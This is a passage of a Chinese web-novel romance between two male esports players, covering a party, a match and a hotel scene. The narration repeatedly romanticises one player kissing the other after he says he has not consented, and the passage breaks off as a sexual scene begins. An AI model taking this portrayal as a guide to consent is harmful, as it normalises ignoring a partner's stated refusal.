紧接着又把冰棒给他。现在两种东西混合在一起,整个人都有种诡异的清爽感。 “很冰吗?”牧绍问。他早已经把自己的那一根几口吃完扔进垃圾桶,看着池一黎咬了那一下后半天没有回话,抿着唇一副很严肃的神情。 池一黎口腔里又冰又凉, 捏着冰棒的右手食指指甲因为用力而泛白, 左手又被牧绍握着,像是在不同的季节。 他把糖嚼碎咽下去, 开口时一阵凉气涌入:“还好。” 两个人都带着卫衣兜帽,牧绍凑过去, 垂下眼帘去看他微微张开的浅色嘴唇,上面泛着一层类似于果冻胶涂抹过的水润,看起来非常好亲。 感受到他身上淡淡的冷气,牧绍承认自己确实是有一点坏心眼在。不管是什么,只要他递到嘴边池一黎就会张嘴, 像是会互动的小机器人,整个人都有些过于好欺负。 他扣住池一黎的指节,慢腾腾凑的更近了点,后者完全没有要躲的意思,只是用浅色的珠子静静地盯着他动作。 牧绍又想亲他。 他今天因为多巴胺分泌旺盛,仗着听到的那句回应冒犯的过于频繁。马上就能看到胜利的曙光,胜劵在握的嚣张过后,沉静下来又开始怕池一黎因为他的哪个行为真的生气。 不理自己无所谓,讨厌也无所谓,反正池一黎都会心软。但又想逗他哭又怕他不开心,大脑和行为都不受控制,这种情绪简直太过于矛盾。 他停在近在咫尺的距离不动:“池一黎,你什么时候答应和我在一起啊?” 才刚刚有点回应就想要在一起,在一起第二天是不是就要直接拉去领证结婚。 池一黎不想拒绝他,但暂且也回答不了他。如果真的喜欢上的话会是一辈子的事情,感情伴随着真挚,在他看来,最后下结论需要经过一定时间的深思熟虑。 牧绍说:“我知道,我只是有些……” 他有些无法形容。 今年的危机感让牧绍突然开窍,他发现自己一直都在不自觉地在意池一黎。虽然那称不上是真的喜欢,可是特殊、唯一、仅你所匹敌……仔细想来,甚至两个人所打的位置都不一样。他简直是疯了。 “……过于想和你在一起。” 牧绍眼里的情绪过于浓郁热烈,池一黎感觉到握着自己的那只手一瞬间烫的像糖块一样黏糊糊,半晌开口:“我没有想着拒绝你。” 牧绍接着他的话语问:“那如果别人知道你这么好说话,他们想要亲你,你会让他们亲吗?” 池一黎回答说:“他们不会。” 除了牧绍,其他人眼里他都是个难以相处且冷漠无情的人,行为近似于傲慢,根本不会有人有这样的想法。 牧绍黑色的眼睛沉沉,顷刻又恢复了懒散的笑意。 “池一黎,你对自己到底有多大误解。”他笑起来,“联盟内的、联盟外的,很多人都想和你在一起,而且他们都想……” “——像我这样亲你。”牧绍说。 他伸手扣住池一黎的腰,距离太近,只微微向前倾身就能碰触到一起。心跳连着心跳,脉搏紧贴脉搏,十指紧扣的双手交缠在一起。牙齿磕碰到唇瓣,是甜的,凉的,和他怀里的这个人一样,融化后就是软的。 视野里黑漆漆的,周围的灯光尽数被贴合到一起的兜帽挡住,安静到池一黎只能听到彼此的呼吸声。 即使看不见,但那道宛如实质的视线也实在难以忽略,环着自己的那只手非常用力,隔着衣服紧紧贴在腰侧。池一黎被布料摩挲地有些发痒,不适地动了动身体,下一秒被压着贴到牧绍身上。 手心里的雪糕开始融化,有冰凉的液体滴落到指节,池一黎被他拉到怀里吻住,下意识抬手将冰棒拿远了些,防止弄脏牧绍后背的衣物。 唇瓣被含在嘴里咬住吮吸,牧绍实在不会接吻,他的吻毫无章法,稀碎地像是小狗在唇齿间乱舔乱咬,池一黎被他咬的发疼,忍不住闭上嘴巴抗拒他的深入。 牧绍顿了两秒,顺着兜帽间隐约的轻微光线,看到他薄如蝉翼的睫毛和轻颤的眼皮,那里泛上些许潮意,眸瞳是碎月光,染上情绪的时候格外惹人侧目。 他顺着唇线轻轻舔过下唇,又更近地贴住去撬开唇舌,带着一股甜腻的草莓糖果味道。池一黎舌尖发麻,唇瓣生疼,呼吸节奏都被打断,从喉咙里滚落几声音节,挣脱牧绍与他相扣的手。 牧绍放开他,又凑到他耳边低低“汪”了一声。 突如其来地,眼泪砸落下来。牧绍说自己是小狗,每次亲完都这样,那岂不是想亲还是可以直接亲他。 池一黎垂下眼帘开口说:“我没有答应你亲我。” 牧绍用手去抹他的眼泪,但是泪珠一连串的掉下来,完全是越抹越多,最后从兜里掏出随身携带的纸,折起来替他擦掉,认错道:“对不起,池一黎。但是我忍不住。” 池一黎缩在兜帽里抬眼看他,朦胧的烟灰色深不见底,眸光也泛着雾色。在牧绍眼里,显得出乎意料的委屈起来:“我没有同意,你不可以亲我。” 牧绍的手贴在他绯色的眼尾,视线扫过他唇线浅显但饱满柔软的唇瓣,略过他鼻梁上的那一点痣,最后停留在他的眼睛。 池一黎的五官精致凌厉,远看冷酷疏离,身高腿长,满身冷冽之气。 他平日里面无表情,像是个面瘫患者,别人说话时基本都以薄凉目光回敬,少部分时间会吝啬地回一句‘嗯’字,其实只是觉得有其他人接话,自己完全没有那个必要开口。 不熟悉他的人第一感觉,不外乎全都是这个人傲慢且很不好惹。 但他这个人,实际上完全与外表相反。 “而且,”池一黎低低说,“你明明知道……我从来没有拒绝过你。” 纸巾被泪水沾湿,指腹触碰到湿润的边缘,猛一刹那,牧绍突然失去了一切语言。 * 韩城发消息说他们在酒店十七楼休息室打桌游,他回来早的话去那里一起玩,还有其他一些战队的熟人,因为明天晚上八点半打比赛,所以没有对赌协议。 ZKS几个月前就是因为对赌才全员染的头发,被论坛诟病非主流鬼火战队吐槽了几个月。但他们本身也不是那样葬爱的人,现在全员除了上单徐克山外都已经染回自然黑色。 池一黎和牧绍两个人回到酒店的时间是晚上十点多。 电竞酒店在赛事期间只对战队和赛训团队开房,这个点基本已经入住完毕,但一楼人还是不少,牧绍牵着池一黎走进大厅,也收到队友的消息说去休息室一起玩。 牧绍懒散转头问:“直接回房间,还是去玩?” 池一黎对这类团建活动不感兴趣,但也不讨厌。往常都会被韩城和庄路弥拉着一起。 冷酷冰山池一黎单纯往那里一坐,全联盟其他战队的人,不管新人老人一律都不敢过多造次,乖乖地当皇帝麾下觐见时轻声细语的大臣。 尤其是刚公开那几年最为明显,对于嘴贱王者韩城来说根本就是保命福音。 但是现在时间久了,不少人也知道他脾气没有看起来那样冷,关系好的四个战队在聚会时有时还会拿他下菜。 池一黎感觉今天情绪起伏过于不稳定,不太想参与这场绝对超过二十个人的活动,摇头说:“困了,我回去打游戏。” “困的话应该睡觉,”牧绍回完群里消息,被他这句不成逻辑的话逗笑,“你怎么困了还要打游戏,更困了怎么办?” 池一黎“嗯”了一声,又说:“你明天还要比赛。” “这是在为我着想吗?……池一黎,你怎么这么可爱。”牧绍拉着他进电梯,按下按钮,电梯门关了后又凑过去,带着点愉悦的笑意问他,“那我今天想申请和你睡一起。” 两个人还没有在一起,料想池一黎也不会点头同意,他当没听到这句话。 “那可以申请一个晚安吻吗?” 池一黎想了想,不吃他层层递进的这一套,抿唇说:“今天已经四次了。” “这个数字多不吉利的,”牧绍迂回道,“你看我明天要打比赛,还是首场,这个数字是不是很不好?如果玄学存在,那我明天上场的时候……” 明天匹配到的对手实力一般,牧绍怎么想都不可能会输。 池一黎被他说的没办法,站在那里小幅度地皱起眉,而且思来想去,同意让人亲自己这件事情,怎么说都有点非常不对劲。 他的不回答完全不影响牧绍的好心情,沉默思考就代表着同意。电梯门到楼层开的时候,闪电般低头在他唇上落下一吻。 牧绍按下的是HWD所在的楼层。准备把他送到房间门口,再找借口赖一会儿,转过拐角的时候,看到熟悉的四个人站在池一黎房间门口。 见到两个人并行着走来,从松闵挑了下眉。 牧绍懒懒开口:“怎么?” “从狗说的没错啊!你果然就是会送三水上来。”韩城选择性忽略两个人紧紧相扣的手,满意点头说,“刚好你们都在,来一起去十七楼快乐的玩耍吧!” 庄路弥补充说:“WQG那几个上次全明星都没来,虽然马上就要比赛了,但是四个月没见了,他们都很想你们~~” WQG的成员过于自来熟,池一黎为数不多进的小群有一个就是他们拉的,听到这句话,掏房卡的动作微微一顿。 牧绍被骂的次数太多,某方面来说和谁关系都不错。一眼就看出他的犹豫,转头再次吐出两个字:“几点?” “你们明天比赛,时间肯定不会太晚的。”韩城说。 “没事,明天那场战斗不足挂齿,岂不是挥霍之间拿下?!”徐克山义正言辞地说,“偶像!十二点前绝对结束!” 一行人向电梯走去,牧绍和池一黎跟在最后,问他:“困的话就早点离场?” 池一黎其实也没有多累,和联盟大部分选手一样,他也是个作息不规律的夜猫子,只是今天情绪有些波动,此刻脸上没什么表情。他说:“还好。” 几个人到休息室门口,庄路弥冲进去喊:“来了来了来了!” 池一黎还没反应过来,刚刚踏进门,就被迎面而来的礼花响了个正着。 室内全是眼熟的人,玩游戏的吃东西的笑嘻嘻的勾肩搭背的都看过来,总的来说非常之热闹。牧绍一眼望过去,看向离得最近的人,勾唇懒懒道:“真是稀客。海龟舍得回来了?” “村儿啊,水儿啊,你们真不厚道。”WQG队长带着金丝眼镜,儒雅回复道,“回来打比赛。你们在一起的时候我们还在国外训练,竟然还是最后才知道的,礼物来之前分别寄给你们俱乐部了,等打完赛回去别忘了拆。” “今晚就当是庆祝你们三个月算了!算算时间也差不多。”另一个人跟他队长勾肩搭背,对着两个人扣着的手啧啧两声,吊儿郎当道,“我回来刚连上网,我靠圈内真神跟皇帝搅和在一起了!——三水儿,谁追的谁啊?快从实招来!还有你们真不会打架吗我说…” 池一黎还是那副面无表情的冰山脸,淡淡道:“不会。” 白书罗在一旁扶额道:“之前还会天天怕禁赛,现在的话肯定打不起来。” “说不定是换个方式打。”那人摸摸下巴,“村长嘴太欠别说话,这个问题继续由你沉稳可靠值得信赖的联盟第一对象三水儿来回答,你们谁上谁下……” 韩城刚刚走到桌子旁和人抢东西吃,闻言立刻飞过来,声音震耳欲聋得捍卫道:“这还用问?!三水铁1啊!” 第49章 台上本场对局MVP角色的全息投影映射出来, 霓虹光轨交织在一起,在场馆的穹顶上组合成为死神镰刀样式的队徽。 全息投影在展示角色的招牌动作,数码光波在眼前挥散而过, 花里胡哨的3D投射引得观众席一片惊呼。 池一黎屈起长腿坐在联盟给选手观赛预留的第三排观众席,黑色中性笔点在摊开的笔记本上,神色淡淡地看着屏幕里的精彩回顾。 屏幕前方, 十个人正在那里相互握手致意,毫无意外的,蓝方战队ZKS以3:0的完美战绩结束了第二赛程的最后一场对局。 牧绍的目光顺着一路向台下投来, 捕捉到他的身影时嚣张地扬起手比了个心。池一黎的视线凝了片刻, 低头时睫毛投出细碎的阴翳,握着笔在笔记本上留下潦草的手绘记号。 《契约计划》的赛季更新时间歹毒,比赛也不按常规赛制, 第一阶段赛程总共用时一个半月。第二阶段赛程只不过三周就决出决赛的八支队伍。 赛程进行到这里,却没有什么紧张的氛围。联盟群里那些看热闹不嫌事大的选手无时无刻都在群里搞事,围绕牧绍和池一黎谈论的一天比一天上头。 虽然平时也是他两的讨论度居高,但这次显然不再是之前的话题。作为公认的同性婚姻合法后大联盟唯一公开真男同, 赛前那一晚韩城紧接着WQG打野当众说出的那句话, 正式揭开了帝1派和神1派的阵营斗争。 毕竟在直男的心里,攻这个词听起来就比较霸气。 韩城的那句话落下, 周围就纷纷响应起来,一出口发现自己站的不一样, 顿时开始各怼各的。在讨论的激辩声音中,池一黎本人毫无开口的余地。 他脸上因为白天情绪起伏过多而面无表情,嘴角冷漠地抿成一条线,整个人看起来波澜不惊且冷酷不近人情,自然落下的眼睫也有几分懒得搭理的不以为意, 似乎在说这还用问?只是单纯站在那里,就使得一堆人纷纷倒戈拥护。 牧绍捏着他的指骨,一副完全不参与的无所谓态度。给人的感觉过于游刃有余且闲庭信步,配上那副懒懒勾唇的似笑非笑表情,又引得那一堆人不确定起来。 到底站谁? 一群没经历过什么大事的网瘾少年天天冲浪,在粉丝的世界里毫无边界感地遨游,并且致力于成为粉丝中的一员,对于这两位的爱情故事予以极高的关注度。 正主没有正面回复,整整三周到现在还没扯出什么结果,但是不影响他们继续激烈地闲聊。 此刻看着池一黎认真记录的样子,韩城换了一只腿翘着,感叹道:“竟然都已经认识七年了啊,邀想你被梁教练带来战队的时候甚至离成年还有半年。我记得冯哥也是这个年龄因为手伤退的役……怎么感觉什么都变了,但又什么都没变。兜兜转转打了这么多年,我竟然在联盟里都处于资深高龄选手了。” 冯哥就是HWD之前的上单,韩城这副突兀的怀念语气引得池一黎停笔侧目看了一眼,以为下一秒他就要说出‘这个赛季打完我就退役回家。’ “三水,如果这个赛季还拿不了冠军……” 台上的人已经离场,镜头持续的给向解说。池一黎放下笔看他。 “我就换个方式和他们拼了!我下赛季夜袭他们房间给他们杯子里下泻药,让他们总决赛那天通通都发挥失常!这样胜利就是我们的了!” 池一黎:“……” 之前是天天喊着要和牧绍打架让他被禁赛,但是与此同时他自己也会被禁赛,经过队长白书罗每日的劝戒,现在成了给人家全队下药。 好在附近一圈都是熟人,但凡有个人录个音,韩城每句发言都预订会被粉丝逐字逐句拆开来分析,然后在热搜挂上三天两夜。 上赛季国内赛老三WQG战队的打野笑着凑来一张脸,把胳膊搭到韩城肩膀上:“行啊韩狗,你们给那群常年霸榜的玩意儿下我给你们下,这样胜利就是我们的了~” “其实还有一招啊,趁着三水和村长在一起时把他们关到房间里反锁,他们上不了场,两大战队最强的王牌主力就全没了,胜利岂不是由我们老三老四信手捏来?”后排的WGS辅助提出一道妙计。 WQG打野的语气十分哥俩好,揶揄道:“听到没韩狗,他在说你菜。” 韩城捏了捏下巴,思考了一下他们队如果哪天因为池一黎不在而换成替补上单,他们四个该怎么办。一番思索下来却发现完全离不开池一黎。 如果是庄路弥,他会先肯定一下WGS辅助的这招磕cp妙计,约定有时间实施一下,然后再叹气,回答他倒也没说错,没了池一黎就拿不到冠军,是我们太菜拖后腿了。 但是现在在这里的人是韩城。 韩城眉毛一挑,嫌弃地拍开他的手:“老三你这就不对了,单挑打不过我就恶心是吧?我家三水不可能上不了场的,想关他先过我们这关。” 打野哼道:“都是村长的手下败将管他几斤几两,还有怎么就你家了,不准拆cp啊哥们!那是村长家的!” “我真服了你们这群神仙了。”韩城非常无语。 麦麸联盟里叫队友我家xxx很正常,但自从牧绍三周前在联盟群里顶着名叫【你怎么知道池一黎喜欢我】的新ID说了一次‘我家’被截屏传阅后,这两个字在全联盟内迅速达成了统一的共识——‘非真男同切勿对队友说出口’。 但是牧绍也就说了那一次,其他的全是各种花里胡哨的昵称,要不是他知道池一黎完全不看群聊,势必要为了兄弟肃清一下群内渐渐不利的气氛。 正想着什么话用反击一下,身旁的池一黎突然站起身。橙白色队服下摆扫过椅背的联盟logo。最侧方的导播屏幕在观众席上检测到他的身影,镜头停留在这里不动。 "你去哪?"韩城连忙站起来。 "后台。"池一黎用笔帽敲了敲笔记本,最新一页画着蓝方打野的位移轨迹,"他们新体系有漏洞。"笔尖在某处标记上重重一点,"如果跟得上,我们可能会有机会。" 池一黎话一落下抬腿就走,韩城默默跟上他,闭上嘴不说话。 这句话过于耳熟,池一黎每年都会说。但奈何时运不济,有时比赛到达临门一脚还是会输。只起到一个让对面心惊胆战紧张一瞬、让观众与粉丝恨天恨地恨风水的作用。 说HWD战队选手菜,但世界赛那么多强队都打到过第二,单独拎出来每个人都世界服榜上有名,仅仅只是朋友间的调侃,其他时间说出去会被粉丝追着喷几百条。 但又偏偏没一次打赢ZKS,国内赛当了六年的万年老二。 天杀的ZKS。韩城恨恨想,他现在玩其他游戏看见死神镰刀都想折了去。 池一黎和韩城一前一后地穿过后台通道,白色灯光很亮,衬得他侧脸轮廓分明。路上有不少工作人员经过,韩城絮絮叨叨,没有注意迎面而来拉着一堆电脑设备的人,极速往内侧踱步让路,转身又迎面撞上怀里抱着文件夹的另一个人。 手里掉落下来的纸被池一黎夹在指节中,与此同时,顺手提着韩城的后领一把将他身体扯正。 “不好意思。”池一黎垂下眼先开口道。 被撞的女生紧紧抱住怀中的文件夹,缓缓抬起头。入目是一截冷白色的腕骨,手掌摊开,上方躺着她还没套壳的工作牌。没被遮盖的指节修长而富有骨感,透着一丝冷峻。她凝了凝神,再往后看去,与池一黎平静冷淡的目光对上视野。 她微微侧头,视线转向了另一个人。 “对不起啊小姐姐,”韩城见到是女生,飞速站直身体慌忙说,“你没事吧?我刚没看到就撞上去了,真不好意思,或者我……” “没事,双土,我是你的粉丝。你是要和三水去找村长吗?”女生完全不在意,眼睛亮晶晶的,递来一支笔,指着一片空白的工作牌说,“能不能在上面签个名?” 韩城ID土士成,虽然中间是‘士’字,但有队友池一黎在例,粉丝起的昵称一律把中间的字当土看待。 不知道是因为自己撞上粉丝,还是眼前的女生过于清秀,韩城脸颊通红,闻言当即点头,接过笔和池一黎手上的工作牌,认真地一笔一划写下自己的名字。 女生在他签完后就直接把工作牌塞进胸前的口袋里,完全没有平常粉丝见到正主时的激动,笑着转头对池一黎说:“如果有机会的话,我想让你和村长两个人一起签。” “当然有机会啊!”韩城这句话说的非常殷勤,打开手机亮出二维码,顺着她的话道,“如果不冒昧的话,可以和我加个联系方式,到时候我给你……” 女生一愣,慌忙点开手机动作起来,刚刚的轻松瞬间消失,成功添加上后,略微机械式地打完招呼,又僵硬转身离开。 “三水,一见钟情就是这样的感觉吗?!”韩城看着她的背影握着手机陶醉道,“我好像坠入爱河了!” 他点开对方的朋友圈,一溜烟划过去,看到碎碎念图片里基本全是自己。 韩城小惊了一下,心想我靠我不会要成为联盟第三个爆出来和粉丝谈恋爱的吧?但即刻转头问:“你平时怎么给村长发消息的啊?怎么开始话题?” 池一黎想了想,一边走一边思索着回答,微微凝眉道:“我没给他发过消息。” 他和牧绍两个人之间都是后者开始的话题。休赛期间就算不见面,牧绍也有说不完的事情,每天不知道在哪里打听到他的风吹草动,然后在微信里发很多很多话。 这些天两个人住在上下楼,牧绍想和他说话会直接到他房间门口敲门,一句话都要赖很久不走。常规的训练是不可避免的,但是牧绍一下训就迫不及待地来找他。 他比赛的时候牧绍要陪他一起,中场十五分钟休息时间还可以在门口见到,惹得教练干脆把他请进了HWD战队的休息室。而牧绍比赛他又要在台下观赛研究记录,基本没有不在一起的时候。 每天晚上分开前牧绍都要请示他可不可以一起睡,池一黎一律当没有听到,冷酷无情地把他送出门。不过半小时,牧绍又会雷打不动地打来视频电话,躺在被窝里说要看着他才能入睡,看不到的话会影响第二天的发挥。 池一黎回想起牧绍昨晚的话,唇线不由得微微绷紧。 走到休息室,牧绍毫无意外地正曲腿靠在门口看手机。黑色的队服搭在身上,显得身形修长从容,带着痞气般的酷帅冷冽。他在听到动静后抬起头,目光瞬间锁定。 牧绍懒懒地勾起唇角,举起手机指了指时间:“怎么这么久,比昨天晚到了四分钟。” 池一黎“嗯”了一声,“刚刚撞到了人。” 牧绍笑容收敛几分,视线绕着他转了一圈,什么也没发现。眯起眼睛懒散一望,韩城下意识摆手道:“我撞的。三水没事啊,三水好好的,三水什么也没撞到。” 池一黎推开休息室的门走进去,教练正坐在里面,他把本子上写好的语句复印一份递给他。 老梁接过来细扫一眼,拿在手上说:“行,这几处重点?我一会儿让他们分析,应该明天早上就能出来。” 池一黎点点头:“麻烦了。” “准备好迎接美好的季后赛了吗?”老梁看起来心情不错,视线往后一扫,又站起来对韩城说,“呦,巧了。刚好找你,你那个数据刚刚赛训老吴才发给我,走,跟我去看一眼。” 韩城小伙立正一样跟他走了,离开前看到牧绍闪身进去,顿时不放心地一步三回头。 牧绍凑过来,下巴搁在他的肩膀上,手臂熟练地虚环过他撑住桌子:“又在研究什么?” “你们的新体系。”池一黎淡淡道,想了一下,打开笔记本,用笔尖随意点了点。 这还是这么些天池一黎第一次给他看这个本子。牧绍盯着他指的地方看了几秒,笑起来:“每天就这样研究我啊?”他顿了顿,想到每天池一黎都注视着自己就不由得心头荡漾,变了一副语气低低道,“池一黎,你这样认真,我真输了怎么办?” 真输了池一黎就是冠军了,还能怎么办。 池一黎不想理他,把本子卷起来塞到袖子里,想了下又问:“你不去复盘?” 一般比赛结束后,教练趁热打铁,都会在休息室进行简单的复盘。 “这次的复盘明天开始。”牧绍说,伸手扣住他的手,感受到十指相扣的温度,嘴角扬起笑意,“所以我现在要和你一起吃饭。” 两个人走出场馆,牧绍慢了几步凑到池一黎身边,低声说:“……比赛固然重要,但生活里还有其他值得关注的事情。” 池一黎顿了顿,侧头看他:“比如?” 牧绍果断接话,期待道:“我。” 牧绍的神色一点也没有开玩笑的意思。池一黎沉默了几秒,转过头继续往前走:“你一直都是。” 身为他研究七年的对手,牧绍确实一直都是。 这句话的语调很轻,池一黎自从开始回应后总是这样。牧绍被他随便几句都调拨的难受,心里像是被羽毛拂过,又痒又颤,想下一秒就扣着他的腰把他亲到掉眼泪。 牧绍握紧池一黎的手,贴着他慢慢说:“池一黎,我现在想申请……” 还在路上走着牧绍就开始说这样的话,池一黎太清楚只要自己点头,牧绍下一秒肯定会直接不分场合地凑过来亲他。 想起昨天的那句话,池一黎抬眼警告似地看着他,打断道:“不可以。” 第50章 第二阶段赛程和季后赛中间会有五天休息时间。为了避免遇到追堵的记者和不进场在外游荡的粉丝, 两个人从场馆外没什么人知道的侧方小道绕到停车场。 ZKS其他队友还在场馆休息室里,给完解说镜头后主持人还要念一连串话术,再搞些互动小活动抽些周边, 观众完全不会离场,牧绍可以算是所有人中比完赛跑的最快的。 幸好不用再二次上台,不然ZKS经理可能会表演一个无可奈何版本的火冒三丈。 池一黎抬眼的动作在牧绍看来丝毫没有震慑力, 但被他用三个字果断拒绝,没有敢再有多余的动作。关上车门不得不放开相扣的手,又忍不住凑近了点。 池一黎整个人都看起来颜色淡淡的, 像是等着被别人沾染上几抹浓墨重彩的深色一样。牧绍眸光暗暗, 系上安全带,踩下油门说:“那我回去悄悄亲你。” 池一黎别过脸望向车窗外飞速掠过的景色。经过车内昏黄色灯光勾勒,侧脸显得更为冰川般冷俊。修长的手指无意识地摩挲着车窗边缘, 在略微起雾的玻璃上留下一片微不可查的朦胧痕迹。 比赛期间私自出门是会被罚款的,以保证他们的状态和训练,但不同战队的要求也不一样。而为了防止选手金贵的手受伤,酒店厨房很多东西都不提供。 牧绍想做一些烘培制品时发现根本没有大展拳脚的场合, 有时候会出去给池一黎买网上推荐说非常好吃的小蛋糕, 神不知鬼不觉地开车去再开车回,然后敲门登堂入室。 牧绍会开车。这个认知对于韩城来说过于超脱, 只觉得非常离谱。他翘腿说:村长看着就像是个等着别人伺候的懒蛋大少爷,出行要人八抬大轿才请得动的神仙, 对于一切需要自己行动的玩意儿都充满了不屑,还会去考驾照? 嗯。韩城又紧接着补充,用自己看了十几篇同人文的文采道:除了我们三水,因为池一黎是那种喝酒时会往杯子里面放的小冰球,一主动就会迅速化掉不见, 必须得他主动作为。 这是个什么比喻。看了几百篇同人文的庄路弥抨击他的措辞,说我们三点水明明是冰块宝宝。 好恶俗的一句话,他记事起就很少有人再叫过他这两个字,池一黎保持着面无表情,顿时胳膊上的鸡皮疙瘩都泛起。 他想起自己第一次拿到驾照载父母出去的时候,他爸爸就是以一种很难描述的语气感叹且吹嘘地说:怎么就突然成年可以开车了?!在我印象里还是坐在我后座的小豆丁,孩儿他妈,我们家池一黎明明还是个小宝宝! 此刻一进行对比,这两个人的语气有一种异曲同工的难以言喻。 短暂的一周放假时间不会管的很严,牧绍在早上联系过酒店经理,让他在用处只是煮泡面的公共厨房里进行全方面消毒,并置办了一些厨具和食品材料。 厨房的格局是开放式的,和餐厅的六个桌子一起被玻璃门隔开。这个点楼层里没有一个人在游荡,选手不是在房间直播解说就是在场馆感受热闹的氛围。 牧绍拉着池一黎踏入酒店电梯,说看视频新学会一种菜谱,当夜宵正合适,要今天晚上做给他尝。 庄路弥才在两个战队的小群里问比赛完晚上要不要一起搓一顿烧烤,自动忽略韩城一分钟十条的婉拒,电梯缓缓上行,池一黎侧头说:“他们说聚餐。” “他们聚餐尝的没有我做的好吃。”牧绍对这方面一向很有自信,压根不想让队友打扰自己和池一黎的独处,扬眉笑道,“或者你在房间等我,我做好了叫你。” 牧绍刚刚打完一场高强度比赛,开车回来还立刻又打算做饭。池一黎真听他的话回房间休息显然不太合适,而且八点半开赛,六点才吃过,他现在这个时间感觉不是很饿。 “一点都不想吃?”牧绍问。 “嗯。”池一黎点点头,接着补充道,“你觉得饿的话……” 牧绍就算想吃什么的话池一黎也不会做饭,能怎么办,只能给他点外卖。他凝眉想了一会儿,等到电梯门开了还没有想出什么所以然。 电梯停到池一黎所在楼层,牧绍嘴角勾起的笑意加深了点。池一黎刷卡开门,走到桌子前,将笔记本有序地整理好放进柜子里,才转身看向刚从门口跨进来的牧绍。 牧绍的身高本就直逼一米九,穿鞋后算上自带的底增高,远远望去几乎和门框齐平。他随手把披在肩膀的外套拽下来,转身熟练地挂在池一黎房间门口的衣架上。 黑色内搭更加展露出他健壮高挑的身材,在池一黎思索的神态里,牧绍反手关上门,单手背后靠在那里。不过几秒,从兜里握出一把硬糖,挑挑拣拣出一颗草莓味的塞进嘴里。 池一黎想了半天想出一个方法,继续道:“你想吃的话,韩城他们回来……” 话还没有说完,牧绍突然迈几大步走近。伸出手臂牢牢地圈紧他的腰。池一黎还没来得及抬眼,眼前的景象骤然翻转,牧绍的动作干脆利落,天地仿佛一瞬间都倒转过来。 等到回神时,池一黎视野里只能看到牧绍那张近在咫尺的脸。 酒店的床铺太软,猛地倒下去像是倒在了一团棉花上。这副画面有一种莫名其妙地熟悉感。池一黎呼吸微微停滞,感受到牧绍身上传来的温热气息。 他整个人被压在床上,被扣住腰向前挺身,胸膛紧贴胸膛。刚想开口,就被牧绍覆上来精准地噙住唇瓣,像是要将他所有的思绪都搅碎在这场突如其来的亲密之中。 “回来亲你。”牧绍语气懒散认真,轻轻用牙齿磨着池一黎的下唇,接着毫不客气地直接袭入他的牙关。 一颗草莓味的硬糖便随着牧绍湿热的舌尖一同推进他的口中,甜腻的气息瞬间蔓延开来,直至到鼻腔都仿佛只能闻到那股味道。 牧绍的吻过于来势汹汹,和之前的浅尝辄止都截然不同,炽热的气息交织在一起,池一黎觉得呼吸都开始变得困难。 他无意识地呜咽一声,用舌头推拒牧绍的侵袭,却被人勾着更加过分的缠绕起来。池一黎眨眨眼睛,一直在眼尾打转的生理盐水骤然降落。 偏向灰色的浅眸水雾一片,像是月光被雾霭蒙住一层。牧绍亲够了松开他的腰,两只手臂分别撑在身侧,才发现内衬的袖口不知道在刚刚什么时候,已经被池一黎的手指团在手心攥紧。 池一黎队服外套还没有脱下,内衬的布料变得皱巴巴的,凌乱地贴在他的身上。眼尾微红,微微侧头时液体自然滑落到黑色的微长发丝里,牧绍低下头贴在他的眼尾,细碎地舔去那抹湿意。 牧绍蹭了蹭他的脸:“池一黎,你哭起来特别漂亮。” 嘴里还有他送进来的那颗硬糖,池一黎紧紧抿着唇,浑身甜腻无比的草莓味道,从耳畔到鼻头都沾染上粉红颜色,池一黎下意识冷着脸伸手去推他。“……这个用词不对。”他咬着糖再一次认真强调道,“你不能这样说。” 牧绍囫囵吞枣地点点头,算是听进去了他这番话。池一黎推拒的动作太轻,牧绍的手顺着他宽松的衣服下摆探进去,厚颜无耻地请示:“饿的话,我想吃你。” 隔着衣服布料还好,被毫无阻隔触碰到的一瞬间,池一黎反射性地缩了下身体,皱眉反驳道:“牧绍,我不是吃的。” 牧绍哼笑一声,张开嘴咬上他的锁骨:“你明明就是。” 牧绍的手还慢悠悠地顺着腰腹一路向上,池一黎想起他昨天晚上的那句话,刚刚开口,猛地虾米一样在牧绍怀里蜷缩起身体。 昨天晚上牧绍时隔四个月又开始看同人文。 联盟群里有个女选手不小心手滑把链接发到大群,一秒不到就引起大规模的讨论。牧绍从下定决心开始认真追人起就再没有看过同人文,和池一黎发视频电话时也一向只顾盯着他看。 但昨天池一黎忙着打植物大战僵尸吃席版,镜头全程只对准一片空白的天花板,于是百无聊赖的点开了那篇连接。 池一黎动不动就会流眼泪的事情被传的广为人知,二创愈演愈烈地开始拿这个当图文梗,牧绍从链接点进去,看完这篇黑遍联盟所有人的搞笑梗文,随便点着推荐看了几篇。 新篇热度高的写的都很好,之前从松闵推荐他一直在看的那篇也与时俱进地大修了文中原本的人设。可牧绍觉得还是一点也没有池一黎本人对味。 池一黎打完一局把手机扶正,牧绍便放下平板开始找话题,最后绕到群里发的同人文这个事。池一黎想了想说你之前读过一篇……,后面的话他顿了下,面无表情地吐出两个字:黄文。 牧绍被他这个断句和冷漠的表情弄得想笑,盯着池一黎的脸,突然想开始即兴朗读一篇逗他,但比起口头挑逗更想和他实操。 他说想和你一起睡,但池一黎一直不松口,每次到睡觉时间就要把他送回房间。牧绍说出口前才反应过来,自己好像还没有追到。 但氛围远远超过暧昧,他怎么亲怎么抱池一黎都不会说什么,最多毫无威慑力地说不理他了,眼皮一抬,抿起唇的样子看起来特别可爱。牧绍怎么看怎么觉得两个人之间的相处就像是已经在一起很久一样。 于是在池一黎说自己要睡觉前,牧绍说:我想和你玩——不管对方说什么都要回答表示肯定字词的游戏。 他说我喜欢你,池一黎嗯了一声。说想和你在一起,池一黎再次嗯了一声。又说我明天见面可不可以亲你一口,池一黎回答说可以,零零散散一共说了五十多句,最后牧绍说:池一黎,我想和你做-爱。 这句话完全可以不回答,两个人单纯的玩游戏,没有任何惩罚。中途几个类似于‘池一黎是不是爱哭鬼’这样的短句,池一黎不想回答的时候一律都装作听不见他说的话。 但池一黎在他话语落下后沉默了半分钟,最后低声回答,说了一句好。 牧绍得寸进尺的行为太过分,池一黎用一周时间想好后和父母打了一通电话,这些天每次想答应或者点头时,下一秒都会被他突然亲上来的行为弄得不是很想理他。 说好的他不答应就不准亲上来,牧绍大部分时间都在仗着他脾气好言而无信,池一黎活了这么长时间从来没遇到过这样厚脸皮的人,拿他一点也没有办法。 牧绍探进去胡乱挤压的手毫无章法,但是池一黎身体本就过于敏感,更不提被他捏住的地方,那块比大部分男性都更为圆润,还要更加柔软几分,甚至不能被单纯叫做肌肉。 